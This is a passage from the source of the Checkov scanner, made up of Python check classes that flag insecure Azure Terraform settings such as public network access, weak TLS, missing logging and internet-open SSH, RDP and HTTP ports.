virtual_network_subnet_ids[0] \ if virtual_network_subnet_ids and isinstance(virtual_network_subnet_ids, list) \ else virtual_network_subnet_ids if virtual_network_subnet_ids: return CheckResult.PASSED return CheckResult.FAILED check = KeyVaultDisablesPublicNetworkAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/KeyVaultEnablesFirewallRulesSettings.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class KeyVaultEnablesFirewallRulesSettings(BaseResourceValueCheck): def __init__(self): name = "Ensure that key vault allows firewall rules settings" id = "CKV_AZURE_109" supported_resources = ['azurerm_key_vault'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "network_acls/[0]/default_action" def get_expected_value(self): return "Deny" check = KeyVaultEnablesFirewallRulesSettings() ================================================ FILE: checkov/terraform/checks/resource/azure/KeyVaultEnablesPurgeProtection.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class KeyVaultEnablesPurgeProtection(BaseResourceValueCheck): def __init__(self): name = "Ensure that key vault enables purge protection" id = "CKV_AZURE_110" supported_resources = ['azurerm_key_vault'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "purge_protection_enabled" check = KeyVaultEnablesPurgeProtection() ================================================ FILE: checkov/terraform/checks/resource/azure/KeyVaultEnablesSoftDelete.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.enums import CheckResult class KeyVaultEnablesSoftDelete(BaseResourceValueCheck): def __init__(self): name = "Ensure that key vault enables soft delete" id = "CKV_AZURE_111" supported_resources = ['azurerm_key_vault'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return "soft_delete_enabled" check = KeyVaultEnablesSoftDelete() ================================================ FILE: checkov/terraform/checks/resource/azure/KeyvaultRecoveryEnabled.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from typing import List class KeyVaultRecoveryEnabled(BaseResourceCheck): def __init__(self): name = "Ensure the key vault is recoverable" id = "CKV_AZURE_42" supported_resources = ['azurerm_key_vault'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'purge_protection_enabled' in conf and conf['purge_protection_enabled'][0] and \ ('soft_delete_enabled' not in conf or conf['soft_delete_enabled'][0]): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['purge_protection_enabled', 'soft_delete_enabled'] check = KeyVaultRecoveryEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/KubernetesClusterHTTPApplicationRouting.py ================================================ from typing import List, Any from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class KubernetesClusterHTTPApplicationRouting(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Azure AKS cluster HTTP application routing is disabled" id = "CKV_AZURE_246" supported_resources = ('azurerm_kubernetes_cluster',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "http_application_routing_enabled" def get_forbidden_values(self) -> List[Any]: return [True] check = KubernetesClusterHTTPApplicationRouting() ================================================ FILE: checkov/terraform/checks/resource/azure/LinuxVMUsesSSH.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any from checkov.common.models.consts import ANY_VALUE class LinuxVMUsesSSH(BaseResourceValueCheck): def __init__(self) -> None: """ If enabled, Uses SSH """ name = "Ensure linux VM enables SSH with keys for secure communication" id = "CKV_AZURE_178" supported_resources = ("azurerm_linux_virtual_machine", "azurerm_linux_virtual_machine_scale_set") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "admin_ssh_key/[0]/public_key" def get_expected_value(self) -> Any: return ANY_VALUE check = LinuxVMUsesSSH() ================================================ FILE: checkov/terraform/checks/resource/azure/MLCCLADisabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MLCCLADisabled(BaseResourceValueCheck): def __init__(self) -> None: # This is the full description of your check description = "Ensure Machine Learning Compute Cluster Local Authentication is disabled" # This is the Unique ID for your check id = "CKV_AZURE_142" # These are the terraform objects supported by this check (ex: aws_iam_policy_document) supported_resources = ('azurerm_machine_learning_compute_cluster',) # Valid CheckCategories are defined in checkov/common/models/enums.py categories = (CheckCategories.IAM,) super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "local_auth_enabled" def get_expected_value(self) -> Any: return False check = MLCCLADisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/MLComputeClusterMinNodes.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MLComputeClusterMinNodes(BaseResourceValueCheck): def __init__(self): name = "Ensure Machine Learning Compute Cluster Minimum Nodes Set To 0" id = "CKV_AZURE_150" supported_resources = ['azurerm_machine_learning_compute_cluster'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "scale_settings/[0]/min_node_count" def get_expected_value(self): return 0 check = MLComputeClusterMinNodes() ================================================ FILE: checkov/terraform/checks/resource/azure/MLPublicAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class MLPublicAccess(BaseResourceNegativeValueCheck): def __init__(self) -> None: # This is the full description of your check description = "Ensure that Public Access is disabled for Machine Learning Workspace" # This is the Unique ID for your check id = "CKV_AZURE_144" # These are the terraform objects supported by this check (ex: aws_iam_policy_document) supported_resources = ('azurerm_machine_learning_workspace',) # Valid CheckCategories are defined in checkov/common/models/enums.py categories = (CheckCategories.NETWORKING,) super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "public_network_access_enabled" def get_forbidden_values(self) -> list[Any]: return [True] check = MLPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/MSSQLServerAuditPolicyLogMonitor.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MSSQLServerAuditPolicyLogMonitor(BaseResourceValueCheck): def __init__(self): name = "Ensure default Auditing policy for a SQL Server is configured to capture and retain the activity logs" id = "CKV_AZURE_156" supported_resources = ['azurerm_mssql_database_extended_auditing_policy'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return "log_monitoring_enabled" check = MSSQLServerAuditPolicyLogMonitor() ================================================ FILE: checkov/terraform/checks/resource/azure/MSSQLServerMinTLSVersion.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MSSQLServerMinTLSVersion(BaseResourceValueCheck): def __init__(self): name = "Ensure MSSQL is using the latest version of TLS encryption" id = "CKV_AZURE_52" supported_resources = ['azurerm_mssql_server'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "minimum_tls_version" def get_expected_value(self): return "1.2" check = MSSQLServerMinTLSVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/MariaDBGeoBackupEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MariaDBGeoBackupEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that MariaDB server enables geo-redundant backups" id = "CKV_AZURE_129" supported_resources = ("azurerm_mariadb_server",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "geo_redundant_backup_enabled" check = MariaDBGeoBackupEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/MariaDBPublicAccessDisabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MariaDBPublicAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure 'public network access enabled' is set to 'False' for MariaDB servers" id = "CKV_AZURE_48" supported_resources = ("azurerm_mariadb_server",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "public_network_access_enabled" def get_expected_value(self) -> Any: return False check = MariaDBPublicAccessDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/MariaDBSSLEnforcementEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MariaDBSSLEnforcementEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers" id = "CKV_AZURE_47" supported_resources = ['azurerm_mariadb_server'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'ssl_enforcement_enabled' check = MariaDBSSLEnforcementEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/MonitorLogProfileCategories.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from typing import List class MonitorLogProfileRetentionDays(BaseResourceCheck): def __init__(self): name = "Ensure audit profile captures all the activities" id = "CKV_AZURE_38" supported_resources = ['azurerm_monitor_log_profile'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): categories = ['Write', 'Delete', 'Action'] res_categories = conf.get('categories') if isinstance(res_categories, list) and res_categories and \ all(category in conf['categories'][0] for category in categories): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['categories'] check = MonitorLogProfileRetentionDays() ================================================ FILE: checkov/terraform/checks/resource/azure/MonitorLogProfileRetentionDays.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from checkov.common.util.type_forcers import force_int class MonitorLogProfileRetentionDays(BaseResourceCheck): def __init__(self): name = "Ensure that Activity Log Retention is set 365 days or greater" id = "CKV_AZURE_37" supported_resources = ['azurerm_monitor_log_profile'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if not conf.get('retention_policy'): self.evaluated_keys = ['retention_policy'] return CheckResult.FAILED self.evaluated_keys = ['retention_policy/[0]/enabled'] if conf['retention_policy'][0]['enabled'][0]: self.evaluated_keys.append('retention_policy/[0]/days') if 'days' in conf['retention_policy'][0] and conf['retention_policy'][0]['days'][0]: if force_int(conf['retention_policy'][0]['days'][0]) is None: return CheckResult.UNKNOWN if force_int(conf['retention_policy'][0]['days'][0]) >= 365: return CheckResult.PASSED else: if 'days' in conf['retention_policy'][0]: self.evaluated_keys.append('retention_policy/[0]/days') if force_int(conf['retention_policy'][0]['days']) == 0: return CheckResult.PASSED return CheckResult.PASSED return CheckResult.FAILED check = MonitorLogProfileRetentionDays() ================================================ FILE: checkov/terraform/checks/resource/azure/MySQLEncryptionEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MySQLEncryptionEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that MySQL server enables infrastructure encryption" id = "CKV_AZURE_96" supported_resources = ['azurerm_mysql_server'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'infrastructure_encryption_enabled' check = MySQLEncryptionEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/MySQLGeoBackupEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MySQLGeoBackupEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that My SQL server enables geo-redundant backups" id = "CKV_AZURE_94" supported_resources = ('azurerm_mysql_server', 'azurerm_mysql_flexible_server') categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'geo_redundant_backup_enabled' check = MySQLGeoBackupEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/MySQLPublicAccessDisabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MySQLPublicAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure 'public network access enabled' is set to 'False' for mySQL servers" id = "CKV_AZURE_53" supported_resources = ("azurerm_mysql_server",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "public_network_access_enabled" def get_expected_value(self) -> Any: """ Returns the default expected value, governed by provider best practices """ return False check = MySQLPublicAccessDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/MySQLServerMinTLSVersion.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MySQLServerMinTLSVersion(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure MySQL is using the latest version of TLS encryption" id = "CKV_AZURE_54" supported_resources = ("azurerm_mysql_server",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "ssl_minimal_tls_version_enforced" def get_expected_value(self) -> Any: return "TLS1_2" check = MySQLServerMinTLSVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/MySQLServerSSLEnforcementEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MySQLServerSSLEnforcementEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server" id = "CKV_AZURE_28" supported_resources = ['azurerm_mysql_server'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'ssl_enforcement_enabled' check = MySQLServerSSLEnforcementEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/MySQLTreatDetectionEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class MySQLTreatDetectionEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that My SQL server enables Threat detection policy" id = "CKV_AZURE_127" supported_resources = ['azurerm_mysql_server'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "threat_detection_policy/[0]/enabled" check = MySQLTreatDetectionEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/NSGRuleHTTPAccessRestricted.py ================================================ from checkov.terraform.checks.resource.azure.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted class NSGRuleHTTPAccessRestricted(NSGRulePortAccessRestricted): def __init__(self) -> None: super().__init__( name="Ensure that HTTP (port 80) access is restricted from the internet", check_id="CKV_AZURE_160", port=80, ) check = NSGRuleHTTPAccessRestricted() ================================================ FILE: checkov/terraform/checks/resource/azure/NSGRulePortAccessRestricted.py ================================================ from typing import Union, List, Dict, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list import re INTERNET_ADDRESSES = ("*", "0.0.0.0", "/0", "/0", "internet", "any") # nosec PORT_RANGE = re.compile(r"\d+-\d+") class NSGRulePortAccessRestricted(BaseResourceCheck): def __init__(self, name: str, check_id: str, port: int) -> None: supported_resources = ("azurerm_network_security_rule", "azurerm_network_security_group") categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.port = port def is_port_in_range(self, ports: Union[int, str, List[Union[int, str]]]) -> bool: for range in force_list(ports): str_range = str(range) if re.match(PORT_RANGE, str_range): start, end = int(range.split("-")[0]), int(range.split("-")[1]) if start <= self.port <= end: return True if str_range in (str(self.port), "*"): return True return False def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: rule_confs = [conf] evaluated_key_prefix = "" if "security_rule" in conf: rule_confs = conf["security_rule"] self.evaluated_keys = ["security_rule"] evaluated_key_prefix = "security_rule/" for rule_conf in rule_confs: if not isinstance(rule_conf, dict): return CheckResult.UNKNOWN access = rule_conf.get("access") direction = rule_conf.get("direction") protocol = rule_conf.get("protocol") destination_port_range = rule_conf.get("destination_port_range") destination_port_ranges = rule_conf.get("destination_port_ranges") source_address_prefix = rule_conf.get("source_address_prefix") source_address_prefixes = rule_conf.get("source_address_prefixes") if ( access and access[0].lower() == "allow" and direction and direction[0].lower() == "inbound" and protocol and protocol[0].lower() in ("tcp", "*") and ( ( destination_port_range and self.is_port_in_range(destination_port_range[0]) # fmt: skip ) or ( destination_port_ranges and destination_port_ranges[0] and any(self.is_port_in_range(range) for range in destination_port_ranges[0]) ) ) and ( ( source_address_prefix and isinstance(source_address_prefix[0], str) and source_address_prefix[0].lower() in INTERNET_ADDRESSES # fmt: skip ) or ( source_address_prefixes and source_address_prefixes[0] and isinstance(source_address_prefixes[0], list) and any((isinstance(prefix, str) and prefix.lower()) in INTERNET_ADDRESSES for prefix in source_address_prefixes[0]) ) ) ): evaluated_key_prefix = ( f"{evaluated_key_prefix}[{rule_confs.index(rule_conf)}]/" if evaluated_key_prefix else "" ) self.evaluated_keys = [ f"{evaluated_key_prefix}access", f"{evaluated_key_prefix}direction", f"{evaluated_key_prefix}protocol", f"{evaluated_key_prefix}destination_port_range", f"{evaluated_key_prefix}destination_port_ranges", f"{evaluated_key_prefix}source_address_prefix", f"{evaluated_key_prefix}source_address_prefixes", ] return CheckResult.FAILED return CheckResult.PASSED ================================================ FILE: checkov/terraform/checks/resource/azure/NSGRuleRDPAccessRestricted.py ================================================ from checkov.terraform.checks.resource.azure.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted class NSGRuleRDPAccessRestricted(NSGRulePortAccessRestricted): def __init__(self) -> None: super().__init__( name="Ensure that RDP access is restricted from the internet", check_id="CKV_AZURE_9", port=3389, ) check = NSGRuleRDPAccessRestricted() ================================================ FILE: checkov/terraform/checks/resource/azure/NSGRuleSSHAccessRestricted.py ================================================ from checkov.terraform.checks.resource.azure.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted class NSGRuleSSHAccessRestricted(NSGRulePortAccessRestricted): def __init__(self) -> None: super().__init__( name="Ensure that SSH access is restricted from the internet", check_id="CKV_AZURE_10", port=22, ) check = NSGRuleSSHAccessRestricted() ================================================ FILE: checkov/terraform/checks/resource/azure/NSGRuleUDPAccessRestricted.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.azure.NSGRulePortAccessRestricted import INTERNET_ADDRESSES from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class NSGRuleUDPAccessRestricted(BaseResourceCheck): def __init__(self): name = "Ensure that UDP Services are restricted from the Internet " id = "CKV_AZURE_77" supported_resources = ['azurerm_network_security_group', 'azurerm_network_security_rule'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): rule_confs = [conf] evaluated_key_prefix = '' if 'security_rule' in conf: rule_confs = conf['security_rule'] self.evaluated_keys = ['security_rule'] evaluated_key_prefix = 'security_rule/' for rule_conf in rule_confs: if isinstance(rule_conf, dict): if 'protocol' in rule_conf and rule_conf['protocol'][0].lower() == 'udp' \ and 'direction' in rule_conf and rule_conf['direction'][0].lower() == 'inbound' \ and 'access' in rule_conf and rule_conf['access'][0].lower() == 'allow' \ and 'source_address_prefix' in rule_conf \ and rule_conf['source_address_prefix'][0].lower() in INTERNET_ADDRESSES: evaluated_key_prefix = f'{evaluated_key_prefix}[{rule_confs.index(rule_conf)}]/' if \ evaluated_key_prefix else '' self.evaluated_keys = [f'{evaluated_key_prefix}protocol', f'{evaluated_key_prefix}direction', f'{evaluated_key_prefix}access', f'{evaluated_key_prefix}source_address_prefix'] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN return CheckResult.PASSED check = NSGRuleUDPAccessRestricted() ================================================ FILE: checkov/terraform/checks/resource/azure/NetworkInterfaceEnableIPForwarding.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class NetworkInterfaceEnableIPForwarding(BaseResourceValueCheck): def __init__(self): name = "Ensure that Network Interfaces disable IP forwarding" id = "CKV_AZURE_118" supported_resources = ['azurerm_network_interface'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return 'enable_ip_forwarding' def get_expected_value(self): return False check = NetworkInterfaceEnableIPForwarding() ================================================ FILE: checkov/terraform/checks/resource/azure/NetworkWatcherFlowLogPeriod.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_int from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class NetworkWatcherFlowLogPeriod(BaseResourceCheck): def __init__(self): name = "Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'" id = "CKV_AZURE_12" supported_resources = ['azurerm_network_watcher_flow_log'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): self.evaluated_keys = ['enabled'] if 'enabled' in conf and conf['enabled'][0] and 'retention_policy' in conf: retention_block = conf['retention_policy'][0] if retention_block['enabled'][0]: retention_in_days = force_int(retention_block['days'][0]) self.evaluated_keys = ['retention_policy/[0]/enabled', 'retention_policy/[0]/days'] if retention_in_days is not None and (retention_in_days == 0 or retention_in_days >= 90): return CheckResult.PASSED else: self.evaluated_keys = ['retention_policy/[0]/enabled'] return CheckResult.FAILED check = NetworkWatcherFlowLogPeriod() ================================================ FILE: checkov/terraform/checks/resource/azure/OpenAICognitiveServicesRestrictOutboundNetwork.py ================================================ from typing import Any, List, Dict from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class OpenAICognitiveServicesRestrictOutboundNetwork(BaseResourceCheck): def __init__(self): name = "Ensure that Azure Cognitive Services account hosted with OpenAI is configured with data loss prevention" id = "CKV_AZURE_247" supported_resources = ('azurerm_cognitive_account', ) categories = (CheckCategories.NETWORKING, ) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if conf.get("kind", [""])[0].lower() != 'openai': return CheckResult.PASSED outbound_network_access_restricted = conf.get('outbound_network_access_restricted', [None])[0] fqdns = conf.get('fqdns', [[]])[0] if not outbound_network_access_restricted or not fqdns: self.evaluated_keys = ['outbound_network_access_restricted', 'fqdns'] return CheckResult.FAILED return CheckResult.PASSED check = OpenAICognitiveServicesRestrictOutboundNetwork() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgreSQLEncryptionEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PostgreSQLEncryptionEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that PostgreSQL server enables infrastructure encryption" id = "CKV_AZURE_130" supported_resources = ("azurerm_postgresql_server",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "infrastructure_encryption_enabled" check = PostgreSQLEncryptionEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgreSQLFlexiServerGeoBackupEnabled.py ================================================ from typing import Any, Dict, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PostgreSQLFlexiServerGeoBackupEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that PostgreSQL Flexible server enables geo-redundant backups" id = "CKV_AZURE_136" supported_resources = ['azurerm_postgresql_flexible_server'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: # Replicas can't have geo-redundant backups if conf.get('create_mode') and conf.get('create_mode')[0] == 'Replica': return CheckResult.PASSED return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return 'geo_redundant_backup_enabled' check = PostgreSQLFlexiServerGeoBackupEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgreSQLMinTLSVersion.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PostgreSQLMinTLSVersion(BaseResourceValueCheck): def __init__(self): name = "Ensure PostgreSQL is using the latest version of TLS encryption" id = "CKV_AZURE_147" supported_resources = ['azurerm_postgresql_server'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return "ssl_minimal_tls_version_enforced" def get_expected_value(self): return 'TLS1_2' check = PostgreSQLMinTLSVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgreSQLServerConnectionThrottlingEnabled.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from typing import List class PostgreSQLServerConnectionThrottlingEnabled(BaseResourceCheck): def __init__(self): name = "Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server" id = "CKV_AZURE_32" supported_resources = ['azurerm_postgresql_configuration'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf['name'][0] == 'connection_throttling' and conf['value'][0] == 'off': return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['name', 'value'] check = PostgreSQLServerConnectionThrottlingEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgreSQLServerLogCheckpointsEnabled.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from typing import List class PostgreSQLServerLogCheckpointsEnabled(BaseResourceCheck): def __init__(self): name = "Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server" id = "CKV_AZURE_30" supported_resources = ['azurerm_postgresql_configuration'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf['name'][0] == 'log_checkpoints' and conf['value'][0] == 'off': return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['name', 'value'] check = PostgreSQLServerLogCheckpointsEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgreSQLServerLogConnectionsEnabled.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from typing import List class PostgreSQLServerLogConnectionsEnabled(BaseResourceCheck): def __init__(self): name = "Ensure server parameter 'log_connections' is set to 'ON' for PostgreSQL Database Server" id = "CKV_AZURE_31" supported_resources = ['azurerm_postgresql_configuration'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf['name'][0] == 'log_connections' and conf['value'][0] == 'off': return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['name', 'value'] check = PostgreSQLServerLogConnectionsEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgreSQLServerLogRetentionEnabled.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from typing import List class PostgreSQLServerLogRetentionEnabled(BaseResourceCheck): def __init__(self): name = "Ensure server parameter 'log_retention' is set to 'ON' for PostgreSQL Database Server" id = "CKV_AZURE_146" supported_resources = ['azurerm_postgresql_configuration'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf['name'][0] == 'log_retention' and conf['value'][0] == 'off': return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['name', 'value'] check = PostgreSQLServerLogRetentionEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/PostgreSQLServerPublicAccessDisabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PostgreSQLServerHasPublicAccessDisabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that PostgreSQL 